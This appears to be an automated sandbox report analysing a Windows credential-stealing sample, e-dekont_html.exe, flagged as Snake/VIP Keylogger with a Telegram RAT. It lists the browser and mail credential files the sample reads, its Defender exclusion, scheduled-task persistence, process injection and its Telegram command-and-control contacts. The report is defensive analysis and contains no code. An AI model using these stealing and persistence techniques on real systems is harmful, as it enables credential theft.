Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Users\user\Desktop\e-dekont_html.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Queries volume information: C:\Users\user\AppData\Roaming\fahKSvwo.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Queries volume information: C:\Users\user\AppData\Roaming\fahKSvwo.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\e-dekont_html.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fahKSvwo.exe PID: 7696, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\Desktop\e-dekont_html.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Yara detected Credential Stealer
Source: Yara match File source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.4161363308.0000000002E99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.4158045385.000000000043D000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fahKSvwo.exe PID: 7696, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fahKSvwo.exe PID: 7696, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1559103 Sample: e-dekont_html.exe Startdate: 20/11/2024 Architecture: WINDOWS Score: 100 52 reallyfreegeoip.org 2->52 54 api.telegram.org 2->54 56 2 other IPs or domains 2->56 58 Found malware configuration 2->58 60 Malicious sample detected (through community Yara rule) 2->60 62 Sigma detected: Scheduled temp file as task from temp location 2->62 68 13 other signatures 2->68 8 e-dekont_html.exe 7 2->8         started        12 fahKSvwo.exe 5 2->12         started        signatures3 64 Tries to detect the country of the analysis system (by using the IP) 52->64 66 Uses the Telegram API (likely for C&C communication) 54->66 process4 file5 38 C:\Users\user\AppData\Roaming\fahKSvwo.exe, PE32 8->38 dropped 40 C:\Users\...\fahKSvwo.exe:Zone.Identifier, ASCII 8->40 dropped 42 C:\Users\user\AppData\Local\...\tmp7653.tmp, XML 8->42 dropped 44 C:\Users\user\...\e-dekont_html.exe.log, ASCII 8->44 dropped 70 Uses schtasks.exe or at.exe to add and modify task schedules 8->70 72 Adds a directory exclusion to Windows Defender 8->72 74 Injects a PE file into a foreign processes 8->74 14 powershell.exe 23 8->14         started        17 e-dekont_html.exe 15 2 8->17         started        20 powershell.exe 23 8->20         started        22 schtasks.exe 1 8->22         started        76 Multi AV Scanner detection for dropped file 12->76 78 Machine Learning detection for dropped file 12->78 24 fahKSvwo.exe 12->24         started        26 schtasks.exe 12->26         started        signatures6 process7 dnsIp8 80 Loading BitLocker PowerShell Module 14->80 28 conhost.exe 14->28         started        30 WmiPrvSE.exe 14->30         started        46 api.telegram.org 149.154.167.220, 443, 61282, 61290 TELEGRAMRU United Kingdom 17->46 48 checkip.dyndns.com 193.122.130.0, 49733, 49738, 49740 ORACLE-BMC-31898US United States 17->48 50 2 other IPs or domains 17->50 32 conhost.exe 20->32         started        34 conhost.exe 22->34         started        82 Tries to steal Mail credentials (via file / registry access) 24->82 84 Tries to harvest and steal browser information (history, passwords, etc) 24->84 36 conhost.exe 26->36         started        signatures9 process10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU false
188.114.97.3
 reallyfreegeoip.org European Union
13335 CLOUDFLARENETUS false
188.114.96.3
 unknown European Union
13335 CLOUDFLARENETUS false
193.122.130.0
 checkip.dyndns.com United States
31898 ORACLE-BMC-31898US false

Contacted Domains

Name IP Active
reallyfreegeoip.org 188.114.97.3 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 193.122.130.0 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://checkip.dyndns.org/ false
    		high
